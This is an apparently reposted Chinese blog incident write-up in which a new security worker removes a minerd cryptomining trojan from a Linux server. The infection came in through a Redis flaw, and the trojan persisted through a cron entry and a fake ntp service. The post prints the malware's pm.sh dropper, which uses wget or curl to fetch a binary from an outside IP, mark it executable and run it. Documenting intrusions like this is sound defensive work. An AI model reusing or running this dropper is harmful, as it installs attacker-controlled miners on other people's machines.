“抗马”小兵的一次实战记录

来自:freebuf

对于安全工作者来说,木马既是我们的敌人,也是我们的“朋友”。甚至可以这样说,木马使我们进步,安逸使我们落后。这不,这位抗马新兵就不甘落后,分享了他的抗马记录。

刚工作不久就遭遇了3次木马攻击,第一是是root木马,控制服务器对阿里某云进行流量攻击,后两次是minerd木马攻击,使得我们的服务器CPU异常的高,让开发工程师无法正常的登录,造成文件无法读取,工作进度受到了很大影响。有鉴于此,我就跟大家分享一下我在面对minerd木马时的学习与收获。

首先我尝试登陆服务器,但是多次登录失败,而且就算登陆上去,也感觉非常卡顿,运行起来比较困难。用top观察服务器状态,如下图所示:

1.png

我发现CPU负载的确很高,同时也看到了主要运行的程序是minerd。之后按照常理我在进程中查找跟minerd相关的信息,如下图所示:

2.png

观察到在/opt下存在一个minerd文件,随后进入该目录下发现存在minerd文件:

3.png

我随手删掉了minerd文件,又top观察,发现CPU负载依然是很高的,此后我就想观察这个文件是如何运行的,相信大家都有这样的好奇心吧,随后我根据常识去查看cront文件,发现了如下的问题:

4.png

一般我们在cront文件下是没有crontabs目录的,但是我进入该目录后,发现多了一个root文件:

5.png

进去观察了一下root内容,也发现了一些问题:

6.png

主要是关于redis的信息还有一条cront指令,后来发现该木马是通过redis的漏洞进行上传,大家可以去看

http://www.freebuf.com/vuls/85833.html,我出于好奇先对这个pm.sh脚本进行分析,大致内容如下:

 

PATH=$PATH:/usr/bin:/bin:/sbin:/usr/sbin:/usr/local/bin:/usr/local/sbin

machine=`uname -m`

#echo $machine

cs5="CentOS release 5"

cs6="CentOS release 6"

cs7="CentOS Linux release 7"

ub="Ubuntu"

de="Debian"

downFile(){

cd /var/lib  //进入这个目录下

if [ -x "/usr/bin/wget"  -o  -x "/bin/wget" ]; then   //判断wget有没有执行权限

wget -c http://101.55.126.66:8990/pm$1 -O /var/lib/pm && chmod +x /var/lib/pm && /var/lib/pm   //如果有就会去下载这个

文件并赋予执行权限

elif [ -x "/usr/bin/curl"  -o  -x "/bin/curl" ]; then//同上 

curl -fs http://101.55.126.66:8990/pm$1 -o /var/lib/pm && chmod +x /var/lib/pm && /var/lib/pm  //同上

fi

}//主要是对系统类型进行判断来获取不同的执行脚本  

if [ $machine = "x86_64" ]; then

    if [ -f "/etc/issue" ]; then

        version=`cat /etc/issue`

        if [[ $version == $cs5* ]]; then

downFile 5

elif [[ $version == $cs6* ]]; then

downFile 6

elif [[ $version == $cs7* ]]; then

downFile 7

elif [[ $version == $ub* ]]; then

downFile ub

elif [[ $version == $de* ]]; then

downFile ub

else

if [ -f "/etc/redhat-release" ]; then

release=`cat /etc/redhat-release  

if [[ $release == $cs5* ]]; then

downFile 5

elif [[ $release == $cs6* ]]; then

downFile 6

elif [[ $release == $cs7* ]]; then

downFile 7

fi

fi

        fi

    fi

fi

 

之后我在/var/lib下发现了pm程序,取消了该程序的执行权限。然后我去查看黑客是否修改了一些登录认证信息等:

7.png

看到日期还有一些文件名感觉有问题,打开名为KHK75NEOiq的文件看到:

8.png

黑客很可能利用这个认证进入我们服务器,重启了sshd服务,随后我进入了/etc/init.d目录下发现有名为ntp的服务,Linux带有的服务是ntpd,还是在某度查到的信息,然后看了一下rc.d也发现了关于ntp的一些链接。看ntp的程序代码发现:

 9.png

从代码中看得出来ntp其实就是该木马的守护程序,所以rm掉ntp,然后kill掉minerd进程7737,发现CPU的负载直线下降,随后在系统中继续寻找ntp相关文件,发现在/var/log的目录下存在两个文件,随后进行删除,本次抗马活动结束。

10.png

本次抗马让我对Linux有了更深的理解,对于一个小兵来说更是一笔宝贵的财富。

posted @ 2016-11-18 20:54  linuxsec  阅读(105)  评论(0编辑  收藏  举报